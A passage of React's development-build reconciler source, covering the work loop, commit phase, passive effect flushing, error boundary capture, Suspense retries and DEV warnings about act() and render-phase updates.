      // If this doesn't spawn new work, complete the current work.
      completeUnitOfWork(unitOfWork);
    } else {
      workInProgress = next;
    }

    ReactCurrentOwner$2.current = null;
  }

  function completeUnitOfWork(unitOfWork) {
    // Attempt to complete the current unit of work, then move to the next
    // sibling. If there are no more siblings, return to the parent fiber.
    var completedWork = unitOfWork;

    do {
      // The current, flushed, state of this fiber is the alternate. Ideally
      // nothing should rely on this, but relying on it here means that we don't
      // need an additional field on the work in progress.
      var current = completedWork.alternate;
      var returnFiber = completedWork.return; // Check if the work completed or if something threw.

      if ((completedWork.flags & Incomplete) === NoFlags) {
        setCurrentFiber(completedWork);
        var next = void 0;

        if ( (completedWork.mode & ProfileMode) === NoMode) {
          next = completeWork(current, completedWork, subtreeRenderLanes);
        } else {
          startProfilerTimer(completedWork);
          next = completeWork(current, completedWork, subtreeRenderLanes); // Update render duration assuming we didn't error.

          stopProfilerTimerIfRunningAndRecordDelta(completedWork, false);
        }

        resetCurrentFiber();

        if (next !== null) {
          // Completing this fiber spawned new work. Work on that next.
          workInProgress = next;
          return;
        }
      } else {
        // This fiber did not complete because something threw. Pop values off
        // the stack without entering the complete phase. If this is a boundary,
        // capture values if possible.
        var _next = unwindWork(current, completedWork); // Because this fiber did not complete, don't reset its lanes.


        if (_next !== null) {
          // If completing this work spawned new work, do that next. We'll come
          // back here again.
          // Since we're restarting, remove anything that is not a host effect
          // from the effect tag.
          _next.flags &= HostEffectMask;
          workInProgress = _next;
          return;
        }

        if ( (completedWork.mode & ProfileMode) !== NoMode) {
          // Record the render duration for the fiber that errored.
          stopProfilerTimerIfRunningAndRecordDelta(completedWork, false); // Include the time spent working on failed children before continuing.

          var actualDuration = completedWork.actualDuration;
          var child = completedWork.child;

          while (child !== null) {
            actualDuration += child.actualDuration;
            child = child.sibling;
          }

          completedWork.actualDuration = actualDuration;
        }

        if (returnFiber !== null) {
          // Mark the parent fiber as incomplete and clear its subtree flags.
          returnFiber.flags |= Incomplete;
          returnFiber.subtreeFlags = NoFlags;
          returnFiber.deletions = null;
        } else {
          // We've unwound all the way to the root.
          workInProgressRootExitStatus = RootDidNotComplete;
          workInProgress = null;
          return;
        }
      }

      var siblingFiber = completedWork.sibling;

      if (siblingFiber !== null) {
        // If there is more work to do in this returnFiber, do that next.
        workInProgress = siblingFiber;
        return;
      } // Otherwise, return to the parent


      completedWork = returnFiber; // Update the next thing we're working on in case something throws.

      workInProgress = completedWork;
    } while (completedWork !== null); // We've reached the root.


    if (workInProgressRootExitStatus === RootInProgress) {
      workInProgressRootExitStatus = RootCompleted;
    }
  }

  function commitRoot(root, recoverableErrors, transitions) {
    // TODO: This no longer makes any sense. We already wrap the mutation and
    // layout phases. Should be able to remove.
    var previousUpdateLanePriority = getCurrentUpdatePriority();
    var prevTransition = ReactCurrentBatchConfig$3.transition;

    try {
      ReactCurrentBatchConfig$3.transition = null;
      setCurrentUpdatePriority(DiscreteEventPriority);
      commitRootImpl(root, recoverableErrors, transitions, previousUpdateLanePriority);
    } finally {
      ReactCurrentBatchConfig$3.transition = prevTransition;
      setCurrentUpdatePriority(previousUpdateLanePriority);
    }

    return null;
  }

  function commitRootImpl(root, recoverableErrors, transitions, renderPriorityLevel) {
    do {
      // `flushPassiveEffects` will call `flushSyncUpdateQueue` at the end, which
      // means `flushPassiveEffects` will sometimes result in additional
      // passive effects. So we need to keep flushing in a loop until there are
      // no more pending effects.
      // TODO: Might be better if `flushPassiveEffects` did not automatically
      // flush synchronous work at the end, to avoid factoring hazards like this.
      flushPassiveEffects();
    } while (rootWithPendingPassiveEffects !== null);

    flushRenderPhaseStrictModeWarningsInDEV();

    if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
      throw new Error('Should not already be working.');
    }

    var finishedWork = root.finishedWork;
    var lanes = root.finishedLanes;

    {
      markCommitStarted(lanes);
    }

    if (finishedWork === null) {

      {
        markCommitStopped();
      }

      return null;
    } else {
      {
        if (lanes === NoLanes) {
          error('root.finishedLanes should not be empty during a commit. This is a ' + 'bug in React.');
        }
      }
    }

    root.finishedWork = null;
    root.finishedLanes = NoLanes;

    if (finishedWork === root.current) {
      throw new Error('Cannot commit the same tree as before. This error is likely caused by ' + 'a bug in React. Please file an issue.');
    } // commitRoot never returns a continuation; it always finishes synchronously.
    // So we can clear these now to allow a new callback to be scheduled.


    root.callbackNode = null;
    root.callbackPriority = NoLane; // Update the first and last pending times on this root. The new first
    // pending time is whatever is left on the root fiber.

    var remainingLanes = mergeLanes(finishedWork.lanes, finishedWork.childLanes);
    markRootFinished(root, remainingLanes);

    if (root === workInProgressRoot) {
      // We can reset these now that they are finished.
      workInProgressRoot = null;
      workInProgress = null;
      workInProgressRootRenderLanes = NoLanes;
    } // If there are pending passive effects, schedule a callback to process them.
    // Do this as early as possible, so it is queued before anything else that
    // might get scheduled in the commit phase. (See #16714.)
    // TODO: Delete all other places that schedule the passive effect callback
    // They're redundant.


    if ((finishedWork.subtreeFlags & PassiveMask) !== NoFlags || (finishedWork.flags & PassiveMask) !== NoFlags) {
      if (!rootDoesHavePassiveEffects) {
        rootDoesHavePassiveEffects = true;
        // to store it in pendingPassiveTransitions until they get processed
        // We need to pass this through as an argument to commitRoot
        // because workInProgressTransitions might have changed between
        // the previous render and commit if we throttle the commit
        // with setTimeout

        pendingPassiveTransitions = transitions;
        scheduleCallback$1(NormalPriority, function () {
          flushPassiveEffects(); // This render triggered passive effects: release the root cache pool
          // *after* passive effects fire to avoid freeing a cache pool that may
          // be referenced by a node in the tree (HostRoot, Cache boundary etc)

          return null;
        });
      }
    } // Check if there are any effects in the whole tree.
    // TODO: This is left over from the effect list implementation, where we had
    // to check for the existence of `firstEffect` to satisfy Flow. I think the
    // only other reason this optimization exists is because it affects profiling.
    // Reconsider whether this is necessary.


    var subtreeHasEffects = (finishedWork.subtreeFlags & (BeforeMutationMask | MutationMask | LayoutMask | PassiveMask)) !== NoFlags;
    var rootHasEffect = (finishedWork.flags & (BeforeMutationMask | MutationMask | LayoutMask | PassiveMask)) !== NoFlags;

    if (subtreeHasEffects || rootHasEffect) {
      var prevTransition = ReactCurrentBatchConfig$3.transition;
      ReactCurrentBatchConfig$3.transition = null;
      var previousPriority = getCurrentUpdatePriority();
      setCurrentUpdatePriority(DiscreteEventPriority);
      var prevExecutionContext = executionContext;
      executionContext |= CommitContext; // Reset this to null before calling lifecycles

      ReactCurrentOwner$2.current = null; // The commit phase is broken into several sub-phases. We do a separate pass
      // of the effect list for each phase: all mutation effects come before all
      // layout effects, and so on.
      // The first phase a "before mutation" phase. We use this phase to read the
      // state of the host tree right before we mutate it. This is where
      // getSnapshotBeforeUpdate is called.

      var shouldFireAfterActiveInstanceBlur = commitBeforeMutationEffects(root, finishedWork);

      {
        // Mark the current commit time to be shared by all Profilers in this
        // batch. This enables them to be grouped later.
        recordCommitTime();
      }


      commitMutationEffects(root, finishedWork, lanes);

      resetAfterCommit(root.containerInfo); // The work-in-progress tree is now the current tree. This must come after
      // the mutation phase, so that the previous tree is still current during
      // componentWillUnmount, but before the layout phase, so that the finished
      // work is current during componentDidMount/Update.

      root.current = finishedWork; // The next phase is the layout phase, where we call effects that read

      {
        markLayoutEffectsStarted(lanes);
      }

      commitLayoutEffects(finishedWork, root, lanes);

      {
        markLayoutEffectsStopped();
      }
      // opportunity to paint.


      requestPaint();
      executionContext = prevExecutionContext; // Reset the priority to the previous non-sync value.

      setCurrentUpdatePriority(previousPriority);
      ReactCurrentBatchConfig$3.transition = prevTransition;
    } else {
      // No effects.
      root.current = finishedWork; // Measure these anyway so the flamegraph explicitly shows that there were
      // no effects.
      // TODO: Maybe there's a better way to report this.

      {
        recordCommitTime();
      }
    }

    var rootDidHavePassiveEffects = rootDoesHavePassiveEffects;

    if (rootDoesHavePassiveEffects) {
      // This commit has passive effects. Stash a reference to them. But don't
      // schedule a callback until after flushing layout work.
      rootDoesHavePassiveEffects = false;
      rootWithPendingPassiveEffects = root;
      pendingPassiveEffectsLanes = lanes;
    } else {

      {
        nestedPassiveUpdateCount = 0;
        rootWithPassiveNestedUpdates = null;
      }
    } // Read this again, since an effect might have updated it


    remainingLanes = root.pendingLanes; // Check if there's remaining work on this root
    // TODO: This is part of the `componentDidCatch` implementation. Its purpose
    // is to detect whether something might have called setState inside
    // `componentDidCatch`. The mechanism is known to be flawed because `setState`
    // inside `componentDidCatch` is itself flawed — that's why we recommend
    // `getDerivedStateFromError` instead. However, it could be improved by
    // checking if remainingLanes includes Sync work, instead of whether there's
    // any work remaining at all (which would also include stuff like Suspense
    // retries or transitions). It's been like this for a while, though, so fixing
    // it probably isn't that urgent.

    if (remainingLanes === NoLanes) {
      // If there's no remaining work, we can clear the set of already failed
      // error boundaries.
      legacyErrorBoundariesThatAlreadyFailed = null;
    }

    {
      if (!rootDidHavePassiveEffects) {
        commitDoubleInvokeEffectsInDEV(root.current, false);
      }
    }

    onCommitRoot(finishedWork.stateNode, renderPriorityLevel);

    {
      if (isDevToolsPresent) {
        root.memoizedUpdaters.clear();
      }
    }

    {
      onCommitRoot$1();
    } // Always call this before exiting `commitRoot`, to ensure that any
    // additional work on this root is scheduled.


    ensureRootIsScheduled(root, now());

    if (recoverableErrors !== null) {
      // There were errors during this render, but recovered from them without
      // needing to surface it to the UI. We log them here.
      var onRecoverableError = root.onRecoverableError;

      for (var i = 0; i < recoverableErrors.length; i++) {
        var recoverableError = recoverableErrors[i];
        var componentStack = recoverableError.stack;
        var digest = recoverableError.digest;
        onRecoverableError(recoverableError.value, {
          componentStack: componentStack,
          digest: digest
        });
      }
    }

    if (hasUncaughtError) {
      hasUncaughtError = false;
      var error$1 = firstUncaughtError;
      firstUncaughtError = null;
      throw error$1;
    } // If the passive effects are the result of a discrete render, flush them
    // synchronously at the end of the current task so that the result is
    // immediately observable. Otherwise, we assume that they are not
    // order-dependent and do not need to be observed by external systems, so we
    // can wait until after paint.
    // TODO: We can optimize this by not scheduling the callback earlier. Since we
    // currently schedule the callback in multiple places, will wait until those
    // are consolidated.


    if (includesSomeLane(pendingPassiveEffectsLanes, SyncLane) && root.tag !== LegacyRoot) {
      flushPassiveEffects();
    } // Read this again, since a passive effect might have updated it


    remainingLanes = root.pendingLanes;

    if (includesSomeLane(remainingLanes, SyncLane)) {
      {
        markNestedUpdateScheduled();
      } // Count the number of times the root synchronously re-renders without
      // finishing. If there are too many, it indicates an infinite update loop.


      if (root === rootWithNestedUpdates) {
        nestedUpdateCount++;
      } else {
        nestedUpdateCount = 0;
        rootWithNestedUpdates = root;
      }
    } else {
      nestedUpdateCount = 0;
    } // If layout work was scheduled, flush it now.


    flushSyncCallbacks();

    {
      markCommitStopped();
    }

    return null;
  }

  function flushPassiveEffects() {
    // Returns whether passive effects were flushed.
    // TODO: Combine this check with the one in flushPassiveEFfectsImpl. We should
    // probably just combine the two functions. I believe they were only separate
    // in the first place because we used to wrap it with
    // `Scheduler.runWithPriority`, which accepts a function. But now we track the
    // priority within React itself, so we can mutate the variable directly.
    if (rootWithPendingPassiveEffects !== null) {
      var renderPriority = lanesToEventPriority(pendingPassiveEffectsLanes);
      var priority = lowerEventPriority(DefaultEventPriority, renderPriority);
      var prevTransition = ReactCurrentBatchConfig$3.transition;
      var previousPriority = getCurrentUpdatePriority();

      try {
        ReactCurrentBatchConfig$3.transition = null;
        setCurrentUpdatePriority(priority);
        return flushPassiveEffectsImpl();
      } finally {
        setCurrentUpdatePriority(previousPriority);
        ReactCurrentBatchConfig$3.transition = prevTransition; // Once passive effects have run for the tree - giving components a
      }
    }

    return false;
  }
  function enqueuePendingPassiveProfilerEffect(fiber) {
    {
      pendingPassiveProfilerEffects.push(fiber);

      if (!rootDoesHavePassiveEffects) {
        rootDoesHavePassiveEffects = true;
        scheduleCallback$1(NormalPriority, function () {
          flushPassiveEffects();
          return null;
        });
      }
    }
  }

  function flushPassiveEffectsImpl() {
    if (rootWithPendingPassiveEffects === null) {
      return false;
    } // Cache and clear the transitions flag


    var transitions = pendingPassiveTransitions;
    pendingPassiveTransitions = null;
    var root = rootWithPendingPassiveEffects;
    var lanes = pendingPassiveEffectsLanes;
    rootWithPendingPassiveEffects = null; // TODO: This is sometimes out of sync with rootWithPendingPassiveEffects.
    // Figure out why and fix it. It's not causing any known issues (probably
    // because it's only used for profiling), but it's a refactor hazard.

    pendingPassiveEffectsLanes = NoLanes;

    if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
      throw new Error('Cannot flush passive effects while already rendering.');
    }

    {
      isFlushingPassiveEffects = true;
      didScheduleUpdateDuringPassiveEffects = false;
    }

    {
      markPassiveEffectsStarted(lanes);
    }

    var prevExecutionContext = executionContext;
    executionContext |= CommitContext;
    commitPassiveUnmountEffects(root.current);
    commitPassiveMountEffects(root, root.current, lanes, transitions); // TODO: Move to commitPassiveMountEffects

    {
      var profilerEffects = pendingPassiveProfilerEffects;
      pendingPassiveProfilerEffects = [];

      for (var i = 0; i < profilerEffects.length; i++) {
        var _fiber = profilerEffects[i];
        commitPassiveEffectDurations(root, _fiber);
      }
    }

    {
      markPassiveEffectsStopped();
    }

    {
      commitDoubleInvokeEffectsInDEV(root.current, true);
    }

    executionContext = prevExecutionContext;
    flushSyncCallbacks();

    {
      // If additional passive effects were scheduled, increment a counter. If this
      // exceeds the limit, we'll fire a warning.
      if (didScheduleUpdateDuringPassiveEffects) {
        if (root === rootWithPassiveNestedUpdates) {
          nestedPassiveUpdateCount++;
        } else {
          nestedPassiveUpdateCount = 0;
          rootWithPassiveNestedUpdates = root;
        }
      } else {
        nestedPassiveUpdateCount = 0;
      }

      isFlushingPassiveEffects = false;
      didScheduleUpdateDuringPassiveEffects = false;
    } // TODO: Move to commitPassiveMountEffects


    onPostCommitRoot(root);

    {
      var stateNode = root.current.stateNode;
      stateNode.effectDuration = 0;
      stateNode.passiveEffectDuration = 0;
    }

    return true;
  }

  function isAlreadyFailedLegacyErrorBoundary(instance) {
    return legacyErrorBoundariesThatAlreadyFailed !== null && legacyErrorBoundariesThatAlreadyFailed.has(instance);
  }
  function markLegacyErrorBoundaryAsFailed(instance) {
    if (legacyErrorBoundariesThatAlreadyFailed === null) {
      legacyErrorBoundariesThatAlreadyFailed = new Set([instance]);
    } else {
      legacyErrorBoundariesThatAlreadyFailed.add(instance);
    }
  }

  function prepareToThrowUncaughtError(error) {
    if (!hasUncaughtError) {
      hasUncaughtError = true;
      firstUncaughtError = error;
    }
  }

  var onUncaughtError = prepareToThrowUncaughtError;

  function captureCommitPhaseErrorOnRoot(rootFiber, sourceFiber, error) {
    var errorInfo = createCapturedValueAtFiber(error, sourceFiber);
    var update = createRootErrorUpdate(rootFiber, errorInfo, SyncLane);
    var root = enqueueUpdate(rootFiber, update, SyncLane);
    var eventTime = requestEventTime();

    if (root !== null) {
      markRootUpdated(root, SyncLane, eventTime);
      ensureRootIsScheduled(root, eventTime);
    }
  }

  function captureCommitPhaseError(sourceFiber, nearestMountedAncestor, error$1) {
    {
      reportUncaughtErrorInDEV(error$1);
      setIsRunningInsertionEffect(false);
    }

    if (sourceFiber.tag === HostRoot) {
      // Error was thrown at the root. There is no parent, so the root
      // itself should capture it.
      captureCommitPhaseErrorOnRoot(sourceFiber, sourceFiber, error$1);
      return;
    }

    var fiber = null;

    {
      fiber = nearestMountedAncestor;
    }

    while (fiber !== null) {
      if (fiber.tag === HostRoot) {
        captureCommitPhaseErrorOnRoot(fiber, sourceFiber, error$1);
        return;
      } else if (fiber.tag === ClassComponent) {
        var ctor = fiber.type;
        var instance = fiber.stateNode;

        if (typeof ctor.getDerivedStateFromError === 'function' || typeof instance.componentDidCatch === 'function' && !isAlreadyFailedLegacyErrorBoundary(instance)) {
          var errorInfo = createCapturedValueAtFiber(error$1, sourceFiber);
          var update = createClassErrorUpdate(fiber, errorInfo, SyncLane);
          var root = enqueueUpdate(fiber, update, SyncLane);
          var eventTime = requestEventTime();

          if (root !== null) {
            markRootUpdated(root, SyncLane, eventTime);
            ensureRootIsScheduled(root, eventTime);
          }

          return;
        }
      }

      fiber = fiber.return;
    }

    {
      // TODO: Until we re-land skipUnmountedBoundaries (see #20147), this warning
      // will fire for errors that are thrown by destroy functions inside deleted
      // trees. What it should instead do is propagate the error to the parent of
      // the deleted tree. In the meantime, do not add this warning to the
      // allowlist; this is only for our internal use.
      error('Internal React error: Attempted to capture a commit phase error ' + 'inside a detached tree. This indicates a bug in React. Likely ' + 'causes include deleting the same fiber more than once, committing an ' + 'already-finished tree, or an inconsistent return pointer.\n\n' + 'Error message:\n\n%s', error$1);
    }
  }
  function pingSuspendedRoot(root, wakeable, pingedLanes) {
    var pingCache = root.pingCache;

    if (pingCache !== null) {
      // The wakeable resolved, so we no longer need to memoize, because it will
      // never be thrown again.
      pingCache.delete(wakeable);
    }

    var eventTime = requestEventTime();
    markRootPinged(root, pingedLanes);
    warnIfSuspenseResolutionNotWrappedWithActDEV(root);

    if (workInProgressRoot === root && isSubsetOfLanes(workInProgressRootRenderLanes, pingedLanes)) {
      // Received a ping at the same priority level at which we're currently
      // rendering. We might want to restart this render. This should mirror
      // the logic of whether or not a root suspends once it completes.
      // TODO: If we're rendering sync either due to Sync, Batched or expired,
      // we should probably never restart.
      // If we're suspended with delay, or if it's a retry, we'll always suspend
      // so we can always restart.
      if (workInProgressRootExitStatus === RootSuspendedWithDelay || workInProgressRootExitStatus === RootSuspended && includesOnlyRetries(workInProgressRootRenderLanes) && now() - globalMostRecentFallbackTime < FALLBACK_THROTTLE_MS) {
        // Restart from the root.
        prepareFreshStack(root, NoLanes);
      } else {
        // Even though we can't restart right now, we might get an
        // opportunity later. So we mark this render as having a ping.
        workInProgressRootPingedLanes = mergeLanes(workInProgressRootPingedLanes, pingedLanes);
      }
    }

    ensureRootIsScheduled(root, eventTime);
  }

  function retryTimedOutBoundary(boundaryFiber, retryLane) {
    // The boundary fiber (a Suspense component or SuspenseList component)
    // previously was rendered in its fallback state. One of the promises that
    // suspended it has resolved, which means at least part of the tree was
    // likely unblocked. Try rendering again, at a new lanes.
    if (retryLane === NoLane) {
      // TODO: Assign this to `suspenseState.retryLane`? to avoid
      // unnecessary entanglement?
      retryLane = requestRetryLane(boundaryFiber);
    } // TODO: Special case idle priority?


    var eventTime = requestEventTime();
    var root = enqueueConcurrentRenderForLane(boundaryFiber, retryLane);

    if (root !== null) {
      markRootUpdated(root, retryLane, eventTime);
      ensureRootIsScheduled(root, eventTime);
    }
  }

  function retryDehydratedSuspenseBoundary(boundaryFiber) {
    var suspenseState = boundaryFiber.memoizedState;
    var retryLane = NoLane;

    if (suspenseState !== null) {
      retryLane = suspenseState.retryLane;
    }

    retryTimedOutBoundary(boundaryFiber, retryLane);
  }
  function resolveRetryWakeable(boundaryFiber, wakeable) {
    var retryLane = NoLane; // Default

    var retryCache;

    switch (boundaryFiber.tag) {
      case SuspenseComponent:
        retryCache = boundaryFiber.stateNode;
        var suspenseState = boundaryFiber.memoizedState;

        if (suspenseState !== null) {
          retryLane = suspenseState.retryLane;
        }

        break;

      case SuspenseListComponent:
        retryCache = boundaryFiber.stateNode;
        break;

      default:
        throw new Error('Pinged unknown suspense boundary type. ' + 'This is probably a bug in React.');
    }

    if (retryCache !== null) {
      // The wakeable resolved, so we no longer need to memoize, because it will
      // never be thrown again.
      retryCache.delete(wakeable);
    }

    retryTimedOutBoundary(boundaryFiber, retryLane);
  } // Computes the next Just Noticeable Difference (JND) boundary.
  // The theory is that a person can't tell the difference between small differences in time.
  // Therefore, if we wait a bit longer than necessary that won't translate to a noticeable
  // difference in the experience. However, waiting for longer might mean that we can avoid
  // showing an intermediate loading state. The longer we have already waited, the harder it
  // is to tell small differences in time. Therefore, the longer we've already waited,
  // the longer we can wait additionally. At some point we have to give up though.
  // We pick a train model where the next boundary commits at a consistent schedule.
  // These particular numbers are vague estimates. We expect to adjust them based on research.

  function jnd(timeElapsed) {
    return timeElapsed < 120 ? 120 : timeElapsed < 480 ? 480 : timeElapsed < 1080 ? 1080 : timeElapsed < 1920 ? 1920 : timeElapsed < 3000 ? 3000 : timeElapsed < 4320 ? 4320 : ceil(timeElapsed / 1960) * 1960;
  }

  function checkForNestedUpdates() {
    if (nestedUpdateCount > NESTED_UPDATE_LIMIT) {
      nestedUpdateCount = 0;
      rootWithNestedUpdates = null;
      throw new Error('Maximum update depth exceeded. This can happen when a component ' + 'repeatedly calls setState inside componentWillUpdate or ' + 'componentDidUpdate. React limits the number of nested updates to ' + 'prevent infinite loops.');
    }

    {
      if (nestedPassiveUpdateCount > NESTED_PASSIVE_UPDATE_LIMIT) {
        nestedPassiveUpdateCount = 0;
        rootWithPassiveNestedUpdates = null;

        error('Maximum update depth exceeded. This can happen when a component ' + "calls setState inside useEffect, but useEffect either doesn't " + 'have a dependency array, or one of the dependencies changes on ' + 'every render.');
      }
    }
  }

  function flushRenderPhaseStrictModeWarningsInDEV() {
    {
      ReactStrictModeWarnings.flushLegacyContextWarning();

      {
        ReactStrictModeWarnings.flushPendingUnsafeLifecycleWarnings();
      }
    }
  }

  function commitDoubleInvokeEffectsInDEV(fiber, hasPassiveEffects) {
    {
      // TODO (StrictEffects) Should we set a marker on the root if it contains strict effects
      // so we don't traverse unnecessarily? similar to subtreeFlags but just at the root level.
      // Maybe not a big deal since this is DEV only behavior.
      setCurrentFiber(fiber);
      invokeEffectsInDev(fiber, MountLayoutDev, invokeLayoutEffectUnmountInDEV);

      if (hasPassiveEffects) {
        invokeEffectsInDev(fiber, MountPassiveDev, invokePassiveEffectUnmountInDEV);
      }

      invokeEffectsInDev(fiber, MountLayoutDev, invokeLayoutEffectMountInDEV);

      if (hasPassiveEffects) {
        invokeEffectsInDev(fiber, MountPassiveDev, invokePassiveEffectMountInDEV);
      }

      resetCurrentFiber();
    }
  }

  function invokeEffectsInDev(firstChild, fiberFlags, invokeEffectFn) {
    {
      // We don't need to re-check StrictEffectsMode here.
      // This function is only called if that check has already passed.
      var current = firstChild;
      var subtreeRoot = null;

      while (current !== null) {
        var primarySubtreeFlag = current.subtreeFlags & fiberFlags;

        if (current !== subtreeRoot && current.child !== null && primarySubtreeFlag !== NoFlags) {
          current = current.child;
        } else {
          if ((current.flags & fiberFlags) !== NoFlags) {
            invokeEffectFn(current);
          }

          if (current.sibling !== null) {
            current = current.sibling;
          } else {
            current = subtreeRoot = current.return;
          }
        }
      }
    }
  }

  var didWarnStateUpdateForNotYetMountedComponent = null;
  function warnAboutUpdateOnNotYetMountedFiberInDEV(fiber) {
    {
      if ((executionContext & RenderContext) !== NoContext) {
        // We let the other warning about render phase updates deal with this one.
        return;
      }

      if (!(fiber.mode & ConcurrentMode)) {
        return;
      }

      var tag = fiber.tag;

      if (tag !== IndeterminateComponent && tag !== HostRoot && tag !== ClassComponent && tag !== FunctionComponent && tag !== ForwardRef && tag !== MemoComponent && tag !== SimpleMemoComponent) {
        // Only warn for user-defined components, not internal ones like Suspense.
        return;
      } // We show the whole stack but dedupe on the top component's name because
      // the problematic code almost always lies inside that component.


      var componentName = getComponentNameFromFiber(fiber) || 'ReactComponent';

      if (didWarnStateUpdateForNotYetMountedComponent !== null) {
        if (didWarnStateUpdateForNotYetMountedComponent.has(componentName)) {
          return;
        }

        didWarnStateUpdateForNotYetMountedComponent.add(componentName);
      } else {
        didWarnStateUpdateForNotYetMountedComponent = new Set([componentName]);
      }

      var previousFiber = current;

      try {
        setCurrentFiber(fiber);

        error("Can't perform a React state update on a component that hasn't mounted yet. " + 'This indicates that you have a side-effect in your render function that ' + 'asynchronously later calls tries to update the component. Move this work to ' + 'useEffect instead.');
      } finally {
        if (previousFiber) {
          setCurrentFiber(fiber);
        } else {
          resetCurrentFiber();
        }
      }
    }
  }
  var beginWork$1;

  {
    var dummyFiber = null;

    beginWork$1 = function (current, unitOfWork, lanes) {
      // If a component throws an error, we replay it again in a synchronously
      // dispatched event, so that the debugger will treat it as an uncaught
      // error See ReactErrorUtils for more information.
      // Before entering the begin phase, copy the work-in-progress onto a dummy
      // fiber. If beginWork throws, we'll use this to reset the state.
      var originalWorkInProgressCopy = assignFiberPropertiesInDEV(dummyFiber, unitOfWork);

      try {
        return beginWork(current, unitOfWork, lanes);
      } catch (originalError) {
        if (didSuspendOrErrorWhileHydratingDEV() || originalError !== null && typeof originalError === 'object' && typeof originalError.then === 'function') {
          // Don't replay promises.
          // Don't replay errors if we are hydrating and have already suspended or handled an error
          throw originalError;
        } // Keep this code in sync with handleError; any changes here must have
        // corresponding changes there.


        resetContextDependencies();
        resetHooksAfterThrow(); // Don't reset current debug fiber, since we're about to work on the
        // same fiber again.
        // Unwind the failed stack frame

        unwindInterruptedWork(current, unitOfWork); // Restore the original properties of the fiber.

        assignFiberPropertiesInDEV(unitOfWork, originalWorkInProgressCopy);

        if ( unitOfWork.mode & ProfileMode) {
          // Reset the profiler timer.
          startProfilerTimer(unitOfWork);
        } // Run beginWork again.


        invokeGuardedCallback(null, beginWork, null, current, unitOfWork, lanes);

        if (hasCaughtError()) {
          var replayError = clearCaughtError();

          if (typeof replayError === 'object' && replayError !== null && replayError._suppressLogging && typeof originalError === 'object' && originalError !== null && !originalError._suppressLogging) {
            // If suppressed, let the flag carry over to the original error which is the one we'll rethrow.
            originalError._suppressLogging = true;
          }
        } // We always throw the original error in case the second render pass is not idempotent.
        // This can happen if a memoized function or CommonJS module doesn't throw after first invocation.


        throw originalError;
      }
    };
  }

  var didWarnAboutUpdateInRender = false;
  var didWarnAboutUpdateInRenderForAnotherComponent;

  {
    didWarnAboutUpdateInRenderForAnotherComponent = new Set();
  }

  function warnAboutRenderPhaseUpdatesInDEV(fiber) {
    {
      if (isRendering && !getIsUpdatingOpaqueValueInRenderPhaseInDEV()) {
        switch (fiber.tag) {
          case FunctionComponent:
          case ForwardRef:
          case SimpleMemoComponent:
            {
              var renderingComponentName = workInProgress && getComponentNameFromFiber(workInProgress) || 'Unknown'; // Dedupe by the rendering component because it's the one that needs to be fixed.

              var dedupeKey = renderingComponentName;

              if (!didWarnAboutUpdateInRenderForAnotherComponent.has(dedupeKey)) {
                didWarnAboutUpdateInRenderForAnotherComponent.add(dedupeKey);
                var setStateComponentName = getComponentNameFromFiber(fiber) || 'Unknown';

                error('Cannot update a component (`%s`) while rendering a ' + 'different component (`%s`). To locate the bad setState() call inside `%s`, ' + 'follow the stack trace as described in https://reactjs.org/link/setstate-in-render', setStateComponentName, renderingComponentName, renderingComponentName);
              }

              break;
            }

          case ClassComponent:
            {
              if (!didWarnAboutUpdateInRender) {
                error('Cannot update during an existing state transition (such as ' + 'within `render`). Render methods should be a pure ' + 'function of props and state.');

                didWarnAboutUpdateInRender = true;
              }

              break;
            }
        }
      }
    }
  }

  function restorePendingUpdaters(root, lanes) {
    {
      if (isDevToolsPresent) {
        var memoizedUpdaters = root.memoizedUpdaters;
        memoizedUpdaters.forEach(function (schedulingFiber) {
          addFiberToLanesMap(root, schedulingFiber, lanes);
        }); // This function intentionally does not clear memoized updaters.
        // Those may still be relevant to the current commit
        // and a future one (e.g. Suspense).
      }
    }
  }
  var fakeActCallbackNode = {};

  function scheduleCallback$1(priorityLevel, callback) {
    {
      // If we're currently inside an `act` scope, bypass Scheduler and push to
      // the `act` queue instead.
      var actQueue = ReactCurrentActQueue$1.current;

      if (actQueue !== null) {
        actQueue.push(callback);
        return fakeActCallbackNode;
      } else {
        return scheduleCallback(priorityLevel, callback);
      }
    }
  }

  function cancelCallback$1(callbackNode) {
    if ( callbackNode === fakeActCallbackNode) {
      return;
    } // In production, always call Scheduler. This function will be stripped out.


    return cancelCallback(callbackNode);
  }

  function shouldForceFlushFallbacksInDEV() {
    // Never force flush in production. This function should get stripped out.
    return  ReactCurrentActQueue$1.current !== null;
  }

  function warnIfUpdatesNotWrappedWithActDEV(fiber) {
    {
      if (fiber.mode & ConcurrentMode) {
        if (!isConcurrentActEnvironment()) {
          // Not in an act environment. No need to warn.
          return;
        }
      } else {
        // Legacy mode has additional cases where we suppress a warning.
        if (!isLegacyActEnvironment()) {
          // Not in an act environment. No need to warn.
          return;
        }

        if (executionContext !== NoContext) {
          // Legacy mode doesn't warn if the update is batched, i.e.
          // batchedUpdates or flushSync.
          return;
        }

        if (fiber.tag !== FunctionComponent && fiber.tag !== ForwardRef && fiber.tag !== SimpleMemoComponent) {
          // For backwards compatibility with pre-hooks code, legacy mode only
          // warns for updates that originate from a hook.
          return;
        }
      }

      if (ReactCurrentActQueue$1.current === null) {
        var previousFiber = current;

        try {
          setCurrentFiber(fiber);

          error('An update to %s inside a test was not wrapped in act(...).\n\n' + 'When testing, code that causes React state updates should be ' + 'wrapped into act(...):\n\n' + 'act(() => {\n' + '  /* fire events that update state */\n' + '});\n' + '/* assert on the output */\n\n' + "This ensures that you're testing the behavior the user would see " + 'in the browser.' + ' Learn more at https://reactjs.org/link/wrap-tests-with-act', getComponentNameFromFiber(fiber));
        } finally {
          if (previousFiber) {
            setCurrentFiber(fiber);
          } else {
            resetCurrentFiber();
          }
        }
      }
    }
  }

  function warnIfSuspenseResolutionNotWrappedWithActDEV(root) {
    {
      if (root.tag !== LegacyRoot && isConcurrentActEnvironment() && ReactCurrentActQueue$1.current === null) {
        error('A suspended resource finished loading inside a test, but the event ' + 'was not wrapped in act(...).\n\n' + 'When testing, code that resolves suspended data should be wrapped ' + 'into act(...):\n\n' + 'act(() => {\n' + '  /* finish loading suspended data */\n' + '});\n' + '/* assert on the output */\n\n' + "This ensures that you're testing the behavior the user would see " + 'in the browser.' + ' Learn more at https://reactjs.org/link/wrap-tests-with-act');
      }
    }
  }

  function setIsRunningInsertionEffect(isRunning) {
    {
      isRunningInsertionEffect = isRunning;
    }
  }

  /* eslint-disable react-internal/prod-error-codes */
  var resolveFamily = null; // $FlowFixMe Flow gets confused by a WeakSet feature check below.

